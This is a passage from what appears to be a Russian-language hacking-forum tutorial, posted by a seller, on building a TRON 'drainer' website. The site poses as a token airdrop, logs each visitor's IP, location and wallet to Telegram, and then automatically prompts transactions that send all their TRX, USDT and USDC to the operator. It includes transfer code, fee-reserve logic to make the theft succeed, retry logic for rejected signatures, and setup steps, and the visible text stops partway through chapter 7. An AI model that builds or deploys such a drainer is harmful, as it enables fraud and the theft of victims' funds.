• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья ПИШЕМ TRON DRAINER (TRX+USDT). STEP-BY-STEP СТАТЬЯ/РУКОВОДСТВО

BaphometTeam

HDD-drive
Seller
Регистрация
05.01.2026
Сообщения
28
Реакции
60
tgnotify.jpg
modalpc.jpg
cconect.jpg

modaltrx.jpg
tronlinkmobile1.jpg
tokenpocketmobile2.jpg
tokenpocketmobile1.jpg

TronLink:
tronlinkpc.jpg
tronlinkpc2.jpg

TokenPocket:
tokenpocket1.jpg
tokenpocket2.jpg

Внутри:
project.png


СКАЧАТЬ>
ПОЛНОЕ РУКОВОДСТВО ПО СОЗДАНИЮ TRON DRAINER
Step-by-Step инструкция от нуля до деплоя


СОДЕРЖАНИЕ:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. Введение в блокчейн TRON
2. Технические основы TRON (TRX, TRC-10, TRC-20, Energy, Bandwidth)
3. Архитектура проекта
4. STEP 1: Инициализация проекта Next.js 16
5. STEP 2: Установка и настройка зависимостей
6. STEP 3: Регистрация WalletConnect и получение Project ID
7. STEP 4: Настройка TRON Wallet Provider
8. STEP 5: Создание модального окна выбора кошелька
9. STEP 6: Интеграция WalletConnect с поддержкой конкретных кошельков
10. STEP 7: Deep Links для мобильных кошельков
11. STEP 8: API Route для проверки балансов
12. STEP 9: API Route для Telegram уведомлений
13. STEP 10: Главная страница с логикой auto-drain
14. STEP 11: Создание и отправка TRON транзакций
15. STEP 12: Конвертация адресов Base58 ↔ Hex
16. STEP 13: UI/UX дизайн
17. STEP 14: Настройка Environment Variables
18. STEP 15: Деплой на Vercel
19. Troubleshooting и частые ошибки
20. Заключение
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 1: ВВЕДЕНИЕ В БЛОКЧЕЙН TRON
═══════════════════════════════════════════════════════════════════════════════

1.1. ЧТО ТАКОЕ TRON?

TRON - это децентрализованная блокчейн-платформа, запущенная в 2017 году
Джастином Саном (Justin Sun). Это полноценная операционная система на базе
блокчейна, аналогичная Ethereum, но с рядом ключевых улучшений.

ОСНОВНЫЕ ХАРАКТЕРИСТИКИ:
• Высокая пропускная способность: до 2000 транзакций в секунду (TPS)
• Низкие комиссии: в среднем $0.000005 за транзакцию
• Delegated Proof-of-Stake (DPoS) консенсус
• Совместимость с виртуальной машиной Ethereum (EVM-compatible)
• Поддержка смарт-контрактов на Solidity


1.2. ПОЧЕМУ TRON ПОПУЛЯРЕН?


TRON занимает особое место в криптоиндустрии по нескольким причинам:

1) USDT НА TRON - САМЫЙ ПОПУЛЯРНЫЙ СТЕЙБЛКОИН
По данным на 2024 год, более 50% всех USDT существует именно на блокчейне
TRON. Это связано с низкими комиссиями и высокой скоростью транзакций.

Сравнение комиссий за перевод USDT:
• Ethereum (ERC-20): $5-50 в зависимости от загрузки сети
• TRON (TRC-20): $0.5-2 (фиксированная стоимость ~13-15 TRX)
• BSC (BEP-20): $0.1-0.5

2) ОГРОМНАЯ БАЗА ПОЛЬЗОВАТЕЛЕЙ В АЗИИ
TRON особенно популярен в Китае, Южной Корее и Юго-Восточной Азии.
Binance, Huobi и другие азиатские биржи массово используют TRON.

3) ДОСТУПНОСТЬ ДЛЯ DEFI
Низкие комиссии делают DeFi-операции доступными для обычных пользователей.
На Ethereum для простого swap может потребоваться $50-100 комиссии,
на TRON - всего $1-2.

4) РАЗВИТАЯ ИНФРАСТРУКТУРА
• Более 100 миллионов созданных аккаунтов
• Тысячи dApps
• Крупные DEX (SunSwap, JustSwap)
• Lending протоколы (JustLend)


1.3. ПРОБЛЕМЫ, КОТОРЫЕ РЕШАЕТ TRON

ПРОБЛЕМА 1
: МАСШТАБИРУЕМОСТЬ
Ethereum может обрабатывать только 15-30 транзакций в секунду, что приводит
к перегрузкам сети. TRON обрабатывает 2000 TPS, что решает эту проблему.

ПРОБЛЕМА 2 : ВЫСОКИЕ КОМИССИИ
В периоды высокой активности Ethereum комиссии достигают $100-200 за одну
транзакцию. На TRON комиссии остаются стабильными и низкими.

ПРОБЛЕМА 3 : ДОСТУПНОСТЬ СТЕЙБЛКОИНОВ
Перевод USDT должен быть дешевым и быстрым. TRON идеально подходит для
повседневных переводов, платежей и международных транзакций.

ПРОБЛЕМА 4
: СЛОЖНОСТЬ ИСПОЛЬЗОВАНИЯ
TRON предоставляет простые инструменты для разработчиков (TronWeb, TronGrid)
и интуитивные кошельки для пользователей (TronLink).


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 2: ТЕХНИЧЕСКИЕ ОСНОВЫ TRON
═══════════════════════════════════════════════════════════════════════════════

2.1. TRX (TRONIX) - НАТИВНАЯ МОНЕТА
───────────────────────────────────────────────────────────────────────────────

TRX - это базовая валюта блокчейна TRON, аналогичная ETH в Ethereum.

ОСНОВНЫЕ ФУНКЦИИ TRX:

1) ОПЛАТА КОМИССИЙ

Все транзакции требуют TRX для оплаты bandwidth и energy.

2) СТЕЙКИНГ И ГОЛОСОВАНИЕ
Держатели TRX могут "замораживать" (stake) свои токены и голосовать за
Super Representatives (валидаторов сети).

3) ПОЛУЧЕНИЕ РЕСУРСОВ
Заморозив TRX, пользователь получает:
• Energy (для смарт-контрактов)
• Bandwidth (для обычных транзакций)

4) МИНИМАЛЬНЫЙ БАЛАНС
Для активации аккаунта требуется минимум 0.1 TRX.
Для отправки TRC-20 токенов рекомендуется иметь 15-20 TRX на балансе.



iu


2.2. TRC-10 ТОКЕНЫ
───────────────────────────────────────────────────────────────────────────────

TRC-10 - это стандарт токенов НА УРОВНЕ ПРОТОКОЛА TRON.

ОСОБЕННОСТИ:
• Создаются без смарт-контрактов
• Очень низкая комиссия за создание (1024 TRX)
• Не требуют Energy для транзакций, только Bandwidth
• Используются редко (в основном для ICO)

ПРИМЕРЫ:
• BTT (BitTorrent Token) изначально был TRC-10
• Некоторые игровые токены

ОТЛИЧИЯ ОТ TRC-20:
TRC-10 работает на уровне протокола, TRC-20 - это смарт-контракты.
TRC-10 дешевле в создании, но менее гибкий.


2.3. TRC-20 ТОКЕНЫ (ГЛАВНЫЙ СТАНДАРТ)
───────────────────────────────────────────────────────────────────────────────

TRC-20 - это стандарт токенов на базе смарт-контрактов, аналогичный ERC-20.

КЛЮЧЕВЫЕ ОСОБЕННОСТИ:

1) СМАРТ-КОНТРАКТЫ
Каждый TRC-20 токен - это смарт-контракт с адресом.
Например:
• USDT (Tether): TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
• USDC: TEkxiTehnzSmSe2XqrBj4w32RUN966rdz8

2) СТАНДАРТНЫЕ ФУНКЦИИ
Код:
   function transfer(address to, uint256 amount)
   function balanceOf(address account)
   function approve(address spender, uint256 amount)
   function transferFrom(address from, address to, uint256 amount)

3) ТРЕБУЕТ ENERGY
Транзакции TRC-20 требуют вычислительных ресурсов (Energy).
Без Energy комиссия сжигается в TRX (~13-15 TRX за USDT перевод).

4) ПОПУЛЯРНЫЕ TRC-20 ТОКЕНЫ
• USDT (самый используемый стейблкоин)
• USDC (второй по популярности стейблкоин)
• USDD (алгоритмический стейблкоин TRON)
• TUSD, USDJ и другие


2.4. СИСТЕМА КОМИССИЙ: BANDWIDTH И ENERGY
───────────────────────────────────────────────────────────────────────────────

Это САМЫЙ ВАЖНЫЙ раздел для понимания работы с TRON!

2.4.1. BANDWIDTH POINTS (ПОЛОСА ПРОПУСКАНИЯ)


ЧТО ЭТО:

Bandwidth измеряет размер транзакции в байтах. Каждая транзакция занимает
определенное количество байт и требует соответствующее количество bandwidth.

КАК ПОЛУЧИТЬ:
1) БЕСПЛАТНЫЙ BANDWIDTH: 600 points в день для каждого аккаунта
2) FROZEN BANDWIDTH: заморозить TRX и получить дополнительный bandwidth
• 1 TRX = ~1000 bandwidth points при заморозке на 3 дня

ДЛЯ ЧЕГО НУЖЕН:
• Обычные TRX переводы: ~270 bandwidth points
• TRC-10 переводы: ~270 bandwidth points
• TRC-20 переводы (только для записи в блокчейн, не для вычислений)

ЕСЛИ BANDWIDTH ЗАКОНЧИЛСЯ:
Система автоматически сжигает TRX (~0.001 TRX за 1000 bandwidth).


2.4.2. ENERGY (ЭНЕРГИЯ ДЛЯ СМАРТ-КОНТРАКТОВ)


ЧТО ЭТО:
Energy - это вычислительный ресурс для выполнения смарт-контрактов.
Аналог Gas в Ethereum.

КАК ПОЛУЧИТЬ:
1) FROZEN ENERGY: заморозить TRX и получить Energy
• 1 TRX = ~1000-1500 Energy points при заморозке
2) СЖИГАНИЕ TRX: если Energy нет, он автоматически сжигается из TRX

СКОЛЬКО НУЖНО ДЛЯ TRC-20:

• USDT transfer(): ~31,895 Energy
• USDC transfer(): ~30,000 Energy
• Approve(): ~15,000 Energy

РАСЧЕТ СТОИМОСТИ:
Energy в TRX рассчитывается так:
JavaScript:
// Текущий курс: 1 Energy = ~420 SUN (0.00042 TRX)
const energyPrice = 420; // sun per energy unit
const energyNeeded = 31895; // для USDT transfer

const totalSun = energyNeeded * energyPrice; // 13,395,900 SUN
const totalTrx = totalSun / 1_000_000; // 13.4 TRX

Поэтому для отправки USDT нужно иметь ~15 TRX на балансе (с запасом).


2.4.3. ВАЖНЫЙ МОМЕНТ: ПОЧЕМУ НЕ ОТПРАВЛЯТЬ ВЕСЬ TRX СРАЗУ!!!

При создании drainer приложения КРИТИЧЕСКИ ВАЖНО правильно рассчитать комиссии:

ПРОБЛЕМА:
Если вы сначала отправите весь TRX, то для отправки USDT не хватит средств
на комиссию, и транзакция провалится.

ПРАВИЛЬНАЯ ПОСЛЕДОВАТЕЛЬНОСТЬ:
1) Создать USDT транзакцию БЕЗ отправки
2) Узнать energy_fee из созданной транзакции
3) Зарезервировать TRX для оплаты комиссии: energy_fee * 1.5
4) Отправить USDT (комиссия спишется автоматически)
5) Отправить оставшиеся TRX

ПРИМЕР КОДА:
JavaScript:
// 1. Создаем USDT транзакцию для расчета комиссии
const usdtContract = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
const usdtTx = await tronWeb.transactionBuilder.triggerSmartContract(
  usdtContract,
  'transfer(address,uint256)',
  { feeLimit: 50_000_000 },
  [
    { type: 'address', value: recipientAddress },
    { type: 'uint256', value: usdtBalance }
  ],
  tronWeb.address.toHex(address)
);

// 2. Получаем energy_fee
const energyFee = usdtTx.energy_fee || 15_000_000; // fallback 15 TRX

// 3. Резервируем TRX для комиссии
const estimatedFee = Math.ceil(energyFee * 1.5); // запас 50%
const trxToReserve = estimatedFee + 5_000_000; // +5 TRX на bandwidth

// 4. Считаем, сколько TRX можно отправить
const trxAvailable = currentBalance - trxToReserve;
const trxToSend = trxAvailable > 0 ? trxAvailable : 0;


2.5. ФОРМАТЫ АДРЕСОВ В TRON
───────────────────────────────────────────────────────────────────────────────

TRON использует ДВА формата адресов:

2.5.1. BASE58 ФОРМАТ (ЧИТАЕМЫЙ)

Начинается с буквы "T", длина 34 символа.
Пример: TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t

ЭТО:
• Формат для пользователей
• Отображается в кошельках
• Используется в blockchain explorers (TronScan)

СТРУКТУРА:
T + Base58 encoded (version + payload + checksum)

2.5.2. HEX ФОРМАТ (ДЛЯ КОНТРАКТОВ)

Начинается с "0x41" (или просто "41"), длина 42 символа.
Пример: 0x41a614f803b6fd780986a42c78ec9c7f77e6ded13c

ЭТО:
• Формат для смарт-контрактов
• Используется в TronWeb API
• Префикс 0x41 означает mainnet адрес TRON

КОНВЕРТАЦИЯ МЕЖДУ ФОРМАТАМИ:

JavaScript:
// Base58 → Hex
const hexAddress = tronWeb.address.toHex('TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t');
// Результат: "0x41a614f803b6fd780986a42c78ec9c7f77e6ded13c"

// Hex → Base58
const base58Address = tronWeb.address.fromHex('41a614f803b6fd780986a42c78ec9c7f77e6ded13c');
// Результат: "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"

ВАЖНО:
При работе с TronGrid API для получения TRC-20 балансов НУЖНО использовать
Hex формат БЕЗ префикса "0x". Только "41...".


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 3: АРХИТЕКТУРА ПРОЕКТА
═══════════════════════════════════════════════════════════════════════════════

3.1. TECH STACK
───────────────────────────────────────────────────────────────────────────────

FRONTEND:
• Next.js 16 (App Router)
• React 19.2
• TypeScript
• Tailwind CSS v4
• Shadcn/ui компоненты

BLOCKCHAIN:
• TronWeb 6.x (основная библиотека для работы с TRON)
• @tronweb3/tronwallet-adapters (адаптеры для разных кошельков)
• @tronweb3/tronwallet-adapter-react-hooks (React hooks для wallet state)

ИНТЕГРАЦИИ:
• WalletConnect SDK (для универсального подключения кошельков)
• Telegram Bot API (для уведомлений)
• TronGrid API (для проверки балансов)
• CoinGecko API (для получения цен)


3.2. СТРУКТУРА ФАЙЛОВ
───────────────────────────────────────────────────────────────────────────────

Код:
/
├── app/
│   ├── layout.tsx              # Корневой layout с TronWalletProvider
│   ├── page.tsx                # Главная страница с логикой drainer
│   ├── globals.css             # Tailwind CSS стили
│   └── api/
│       ├── wallet/
│       │   └── scan/
│       │       └── route.ts    # API: проверка балансов TRX/USDT/USDC
│       └── notify/
│           └── route.ts        # API: отправка Telegram уведомлений
│
├── components/
│   ├── tron-wallet-provider.tsx    # Provider с адаптерами кошельков
│   ├── wallet-select-modal.tsx     # Модальное окно выбора кошелька
│   └── ui/                         # Shadcn/ui компоненты
│
├── lib/
│   ├── walletconnect.ts        # Конфигурация WalletConnect
│   ├── deeplinks.ts            # Deep links для мобильных кошельков
│   ├── telegram.ts             # Функции для Telegram Bot API
│   ├── addressConverter.ts     # Base58 ↔ Hex конвертация
│   └── utils.ts                # Утилиты (cn функция и др.)
│
├── public/
│   └── wallets/                # Иконки кошельков
│
├── .env.local                  # Environment variables (НЕ коммитить!)
├── package.json
├── next.config.mjs
└── tsconfig.json


3.3. СХЕМА РАБОТЫ ПРИЛОЖЕНИЯ
───────────────────────────────────────────────────────────────────────────────

Код:
┌─────────────────────────────────────────────────────────────────────────┐
│ 1. ПОЛЬЗОВАТЕЛЬ ОТКРЫВАЕТ САЙТ                                         │
│    → Видит "SUNDOG Airdrop" промо                                      │
│    → Кнопка "Connect Wallet"                                            │
└────────────────────────────┬────────────────────────────────────────────┘
                             │
┌────────────────────────────▼────────────────────────────────────────────┐
│ 2. ВЫБОР КОШЕЛЬКА (Modal)                                              │
│    → TronLink (browser extension)                                       │
│    → TokenPocket (mobile via deep link)                                 │
│    → imToken (mobile via deep link)                                     │
│    → WalletConnect (универсальный для Trust, BitKeep, etc.)            │
└────────────────────────────┬────────────────────────────────────────────┘
                             │
┌────────────────────────────▼────────────────────────────────────────────┐
│ 3. ПОДКЛЮЧЕНИЕ КОШЕЛЬКА                                                │
│    → Кошелек запрашивает подтверждение                                 │
│    → Пользователь подтверждает                                          │
│    → State: connected=true, address=T...                                │
└────────────────────────────┬────────────────────────────────────────────┘
                             │
                  ┌──────────┴──────────┐
                  │                     │
┌─────────────────▼───────────┐  ┌─────▼────────────────────────────────┐
│ 4A. TELEGRAM УВЕДОМЛЕНИЕ    │  │ 4B. ПРОВЕРКА БАЛАНСОВ               │
│ POST /api/notify            │  │ POST /api/wallet/scan               │
│ → IP-адрес пользователя     │  │ → TronGrid API: TRX баланс          │
│ → Геолокация (страна+флаг)  │  │ → TronGrid API: USDT баланс         │
│ → Тип кошелька              │  │ → TronGrid API: USDC баланс         │
│ → Адрес кошелька            │  │ → CoinGecko API: цены               │
│                             │  │ → Расчет USD-стоимости портфеля     │
└─────────────────────────────┘  └─────┬────────────────────────────────┘
                                       │
                    ┌──────────────────┴───────────────────┐
                    │ Balance loaded = true                │
                    │ hasBalance = (TRX > 0 || USDT > 0)   │
                    └──────────────────┬───────────────────┘
                                       │
┌──────────────────────────────────────▼───────────────────────────────────┐
│ 5. АВТОМАТИЧЕСКИЙ ЗАПУСК ОТПРАВКИ (если hasBalance && !triggered)      │
│    → Задержка 1500ms                                                     │
│    → Создание транзакций для ВСЕХ токенов + TRX                         │
└──────────────────────────────────────┬───────────────────────────────────┘
                                       │
┌──────────────────────────────────────▼───────────────────────────────────┐
│ 6. СОЗДАНИЕ ТРАНЗАКЦИЙ                                                  │
│    А) USDT (если баланс > 0)                                            │
│       → triggerSmartContract('transfer', [recipient, amount])           │
│       → Получаем energy_fee для расчета резерва TRX                     │
│                                                                          │
│    Б) USDC (если баланс > 0)                                            │
│       → triggerSmartContract('transfer', [recipient, amount])           │
│                                                                          │
│    В) TRX (остаток после резервирования комиссий)                       │
│       → sendTrx(recipient, amount - totalReserve)                       │
└──────────────────────────────────────┬───────────────────────────────────┘
                                       │
┌──────────────────────────────────────▼───────────────────────────────────┐
│ 7. ПОСЛЕДОВАТЕЛЬНАЯ ПОДПИСЬ ТРАНЗАКЦИЙ                                  │
│    → signTransaction(tx1) [USDT]                                         │
│    → Задержка 1000ms                                                     │
│    → signTransaction(tx2) [USDC]                                         │
│    → Задержка 1000ms                                                     │
│    → signTransaction(tx3) [TRX]                                          │
│                                                                          │
│    Каждая подпись открывает кошелек с запросом подтверждения            │
└──────────────────────────────────────┬───────────────────────────────────┘
                                       │
                    ┌──────────────────┴───────────────────┐
                    │                                      │
        ┌───────────▼──────────┐              ┌───────────▼──────────┐
        │ ВСЕ ПОДПИСАНЫ        │              │ ПОЛЬЗОВАТЕЛЬ ОТКЛОНИЛ│
        │ Success!             │              │ (reject)             │
        │ → Средства ушли      │              │ → Fallback логика    │
        └──────────────────────┘              └───────────┬──────────┘
                                                          │
                                          ┌───────────────▼──────────────┐
                                          │ Если TRX отклонен, но есть   │
                                          │ USDT/USDC:                   │
                                          │ → Создать новые транзакции   │
                                          │   только для токенов         │
                                          │ → Попытаться отправить       │
                                          └──────────────────────────────┘


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 4: STEP 1 - ИНИЦИАЛИЗАЦИЯ ПРОЕКТА NEXT.JS 16
═══════════════════════════════════════════════════════════════════════════════

4.1. СОЗДАНИЕ НОВОГО ПРОЕКТА
───────────────────────────────────────────────────────────────────────────────

Откройте терминал и выполните:

Bash:
npx create-next-app@latest tron-drainer

При создании выберите следующие опции:

Код:
✔ Would you like to use TypeScript? … Yes
✔ Would you like to use ESLint? … Yes
✔ Would you like to use Tailwind CSS? … Yes
✔ Would you like to use `src/` directory? … No
✔ Would you like to use App Router? … Yes
✔ Would you like to use Turbopack for next dev? … Yes
✔ Would you like to customize the import alias (@/* by default)? … No

Перейдите в папку проекта:

Bash:
cd tron-drainer


4.2. СТРУКТУРА СОЗДАННОГО ПРОЕКТА

───────────────────────────────────────────────────────────────────────────────

Next.js создаст следующую структуру:

Код:
tron-drainer/
├── app/
│   ├── favicon.ico
│   ├── globals.css
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── node_modules/
├── .gitignore
├── next.config.mjs
├── package.json
├── tsconfig.json
└── tailwind.config.ts


4.3. НАСТРОЙКА TAILWIND CSS V4

───────────────────────────────────────────────────────────────────────────────

Начиная с Next.js 16, используется Tailwind CSS v4. Откройте app/globals.css
и замените содержимое на:

CSS:
@import 'tailwindcss';

@theme inline {
  --font-sans: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Helvetica', 'Arial', sans-serif;
  
  /* Цветовая схема */
  --color-background: #000000;
  --color-foreground: #ffffff;
  --color-card: #0a0a0a;
  --color-card-foreground: #ffffff;
  --color-popover: #0a0a0a;
  --color-popover-foreground: #ffffff;
  --color-primary: #8b5cf6;
  --color-primary-foreground: #ffffff;
  --color-secondary: #1f1f1f;
  --color-secondary-foreground: #ffffff;
  --color-muted: #1f1f1f;
  --color-muted-foreground: #a1a1aa;
  --color-accent: #1f1f1f;
  --color-accent-foreground: #ffffff;
  --color-destructive: #ef4444;
  --color-destructive-foreground: #ffffff;
  --color-border: #27272a;
  --color-input: #27272a;
  --color-ring: #8b5cf6;
  --radius: 0.5rem;
}

* {
  border-color: var(--color-border);
}

body {
  background: var(--color-background);
  color: var(--color-foreground);
  font-family: var(--font-sans);
}


4.4. УСТАНОВКА SHADCN/UI
───────────────────────────────────────────────────────────────────────────────

Shadcn/ui - это коллекция переиспользуемых компонентов. Инициализируем:

Bash:
npx shadcn@latest init

Выберите опции:

Код:
✔ Preflight and CSS variables … Yes
✔ Where is your global CSS file? … app/globals.css
✔ Where is your tailwind.config located? … tailwind.config.ts
✔ Configure the import alias for components? … @/components
✔ Configure the import alias for utils? … @/lib/utils
✔ Write configuration to components.json? … Yes

Установите необходимые компоненты:

Bash:
npx shadcn@latest add button
npx shadcn@latest add dialog
npx shadcn@latest add card
npx shadcn@latest add badge
npx shadcn@latest add toast


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 5: STEP 2 - УСТАНОВКА И НАСТРОЙКА ЗАВИСИМОСТЕЙ
═══════════════════════════════════════════════════════════════════════════════

5.1. УСТАНОВКА TRON БИБЛИОТЕК
───────────────────────────────────────────────────────────────────────────────

Bash:
npm install tronweb@6.0.0

npm install @tronweb3/tronwallet-adapters
npm install @tronweb3/tronwallet-adapter-react-hooks
npm install @tronweb3/tronwallet-adapter-react-ui
npm install @tronweb3/tronwallet-adapter-tronlink
npm install @tronweb3/tronwallet-adapter-tokenpocket
npm install @tronweb3/tronwallet-adapter-imtoken
npm install @tronweb3/tronwallet-adapter-walletconnect

ОБЪЯСНЕНИЕ ПАКЕТОВ:

• tronweb - основная библиотека для работы с TRON (создание транзакций, работа
с контрактами, конвертация адресов)

• @tronweb3/tronwallet-adapters - ядро адаптеров кошельков

• @tronweb3/tronwallet-adapter-react-hooks - React hooks для управления
состоянием кошелька (useWallet hook)

• @tronweb3/tronwallet-adapter-react-ui - готовые UI компоненты (мы будем
использовать только частично, создадим свою модалку)

• Остальные пакеты - адаптеры для конкретных кошельков


5.2. УСТАНОВКА ДОПОЛНИТЕЛЬНЫХ БИБЛИОТЕК
───────────────────────────────────────────────────────────────────────────────

Bash:
# Для иконок
npm install lucide-react

# Для toast уведомлений
npm install sonner

# Для работы с датами 
npm install date-fns


5.3. ПРОВЕРКА PACKAGE.JSON
───────────────────────────────────────────────────────────────────────────────

Ваш package.json должен содержать примерно следующее:

JSON:
{
  "name": "tron-drainer",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "dev": "next dev --turbopack",
    "build": "next build",
    "start": "next start",
    "lint": "next lint"
  },
  "dependencies": {
    "@tronweb3/tronwallet-adapter-imtoken": "^1.1.8",
    "@tronweb3/tronwallet-adapter-react-hooks": "^1.1.8",
    "@tronweb3/tronwallet-adapter-react-ui": "^1.1.8",
    "@tronweb3/tronwallet-adapter-tokenpocket": "^1.1.8",
    "@tronweb3/tronwallet-adapter-tronlink": "^1.1.8",
    "@tronweb3/tronwallet-adapter-walletconnect": "^2.1.0",
    "@tronweb3/tronwallet-adapters": "^1.1.8",
    "lucide-react": "^0.460.0",
    "next": "16.0.0",
    "react": "^19.0.0",
    "react-dom": "^19.0.0",
    "sonner": "^1.7.1",
    "tronweb": "^6.0.0"
  },
  "devDependencies": {
    "@types/node": "^20",
    "@types/react": "^19",
    "@types/react-dom": "^19",
    "eslint": "^8",
    "eslint-config-next": "16.0.0",
    "typescript": "^5"
  }
}


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 6: STEP 3 - РЕГИСТРАЦИЯ WALLETCONNECT И ПОЛУЧЕНИЕ PROJECT ID
═══════════════════════════════════════════════════════════════════════════════
iu

WalletConnect - это протокол для подключения кошельков к dApps. Он позволяет
пользователям подключать мобильные кошельки к веб-приложениям через QR-код
или deep links.

6.1. РЕГИСТРАЦИЯ НА WALLETCONNECT CLOUD
───────────────────────────────────────────────────────────────────────────────
ШАГ 1: Перейдите на https://dashboard.walletconnect.com/sign-in
signinwc.png

ШАГ 2: Нажмите "Sign In" и войдите через:
• GitHub
• Email
• Google

ШАГ 3: После входа вы попадете в Dashboard. Нажмите "+Project"
wcproject.jpg

ШАГ 4: Заполните информацию о проекте:
• Project Name: "IDK" (или любое другое название)
wcprojectapp.jpg

ШАГ 5: Нажмите "Create" - вы получите PROJECT ID
projectwc.jpg

Пример Project ID: 0345q214a18d315b6c9sw03s6d543200

ВАЖНО: Сохраните этот Project ID, он понадобится для настройки WalletConnect!


6.2. НАСТРОЙКА РАЗРЕШЕННЫХ ДОМЕНОВ
───────────────────────────────────────────────────────────────────────────────

В настройках проекта на WalletConnect Cloud:

ШАГ 1: Перейдите в Domain → Allowlist

ШАГ 2: Добавьте домены:
• localhost (для разработки)
• *.vercel.app (если деплоите на Vercel)
• yourdomain.com (ваш продакшн домен)



6.3. ПОНИМАНИЕ EXPLORER API - СПИСОК КОШЕЛЬКОВ

───────────────────────────────────────────────────────────────────────────────

WalletConnect имеет ОГРОМНУЮ базу данных кошельков. Каждый кошелек имеет:
• Уникальный ID
• Название
• Иконку
• Список поддерживаемых платформ (mobile/desktop/browser)
• Поддерживаемые блокчейны

ДОСТУП К БАЗЕ КОШЕЛЬКОВ:

Это официальный гайд, где можно:
1) Найти любой кошелек по названию
2) Получить его Wallet ID
3) Узнать, какие платформы поддерживает
4) Проверить поддержку TRON


6.4. КАК НАЙТИ WALLET ID ДЛЯ КОНКРЕТНОГО КОШЕЛЬКА
───────────────────────────────────────────────────────────────────────────────

Пример: найдем ID для Trust Wallet


ШАГ 1: Откройте
sc2.png

ШАГ 2: В поиске введите "Trust Wallet"
sc3.png

ШАГ 3: Кликните на кошелек - откроется детальная информация:
Trust Wallet
─────────────────────────────────────────────────────────
ID: 4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0

Platforms:
• Mobile (iOS, Android)
• Browser Extension (Chrome)

Supported Chains:
• Ethereum
• Binance Smart Chain
• Polygon
• TRON ← ВАЖНО! Проверяйте поддержку TRON
• и другие...

sc4.png

ШАГ 4: Скопируйте Wallet ID (длинная строка) - это и есть уникальный
идентификатор кошелька в системе WalletConnect.


6.5. ПОПУЛЯРНЫЕ КОШЕЛЬКИ С ПОДДЕРЖКОЙ TRON И ИХ ID
───────────────────────────────────────────────────────────────────────────────

Вот список популярных кошельков, которые поддерживают TRON, и их IDs:

1) TRUST WALLET
ID: 4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0
Платформы: Mobile (iOS/Android), Browser Extension
Deep Link: trust://

2) IMTOKEN
ID: ef333840daf915aafdc4a004525502d6d49d77bd9c65e0642dbaefb3c2893bef
Платформы: Mobile (iOS/Android)
Deep Link: imtokenv2://

3) TOKENPOCKET
ID: 20459438007b75f4f4acb98bf29aa3b800550309646d375da5fd4aac6c2a2c66
Платформы: Mobile (iOS/Android), Browser Extension
Deep Link: tpoutside://

ВАЖНОЕ ЗАМЕЧАНИЕ:
TronLink НЕ использует WalletConnect! Для TronLink нужен отдельный адаптер
(@tronweb3/tronwallet-adapter-tronlink), но не WalletConnect.


6.6. НАСТРОЙКА EXPLORERRECOMMENDEDWALLETIDS
───────────────────────────────────────────────────────────────────────────────

При создании WalletConnect адаптера можно указать "рекомендуемые" кошельки.
Эти кошельки будут показаны ПЕРВЫМИ в модальном окне WalletConnect.

ПРИМЕР КОНФИГУРАЦИИ:

Код:
import { WalletConnectAdapter } from '@tronweb3/tronwallet-adapter-walletconnect';

const walletConnectAdapter = new WalletConnectAdapter({
  projectId: 'ad53ae497ee922ad9beb2ef78b1a7a6e', // ВАШ PROJECT ID
  
  // Список кошельков, которые будут показаны первыми
  explorerRecommendedWalletIds: [
    // Trust Wallet
    '4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0',
    
    // imToken
    'ef333840daf915aafdc4a004525502d6d49d77bd9c65e0642dbaefb3c2893bef',
    
    // TokenPocket
    '20459438007b75f4f4acb98bf29aa3b800550309646d375da5fd4aac6c2a2c66',
  ],
  
  // Конфигурация TRON сети
  network: 'mainnet',
  
  // Включить показ всех кошельков (не только рекомендуемых)
  showAllWallets: true,
});

ЧТО ЭТО ДАЕТ:
• Пользователи увидят Trust, imToken и TokenPocket в начале списка
• Остальные кошельки будут доступны через "Show all wallets"
• Это увеличивает конверсию, т.к. популярные кошельки видны сразу


6.7. КАК РАБОТАЕТ WALLETCONNECT ПОД КАПОТОМ
───────────────────────────────────────────────────────────────────────────────

ПРОЦЕСС ПОДКЛЮЧЕНИЯ:

1) ПОЛЬЗОВАТЕЛЬ НАЖИМАЕТ "WALLETCONNECT"
→ Открывается модальное окно с QR-кодом (на desktop)
→ Или список установленных кошельков (на mobile)

2) QR-КОД СОДЕРЖИТ:
→ wc:topic@version?bridge=...&key=...
→ Это "приглашение" для кошелька подключиться к dApp

3) ПОЛЬЗОВАТЕЛЬ СКАНИРУЕТ QR
→ Кошелек отправляет запрос на WalletConnect relay server
→ Relay server связывает dApp и кошелек

4) УСТАНОВКА SESSION
→ Кошелек отправляет адрес и публичный ключ
→ dApp получает эту информацию
→ Session создан ✅

5) ПОДПИСЬ ТРАНЗАКЦИЙ
→ dApp отправляет транзакцию через relay server
→ Кошелек получает и показывает пользователю
→ Пользователь подписывает
→ Подпись отправляется обратно в dApp через relay

ВАЖНО:
WalletConnect НЕ хранит приватные ключи! Это просто "мост" между приложением
и кошельком. Вся критическая информация передается зашифрованной.


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 7: STEP 4 - НАСТРОЙКА TRON WALLET PROVIDER
═══════════════════════════════════════════════════════════════════════════════

7.1. СОЗДАНИЕ ФАЙЛА КОНФИГУРАЦИИ WALLETCONNECT
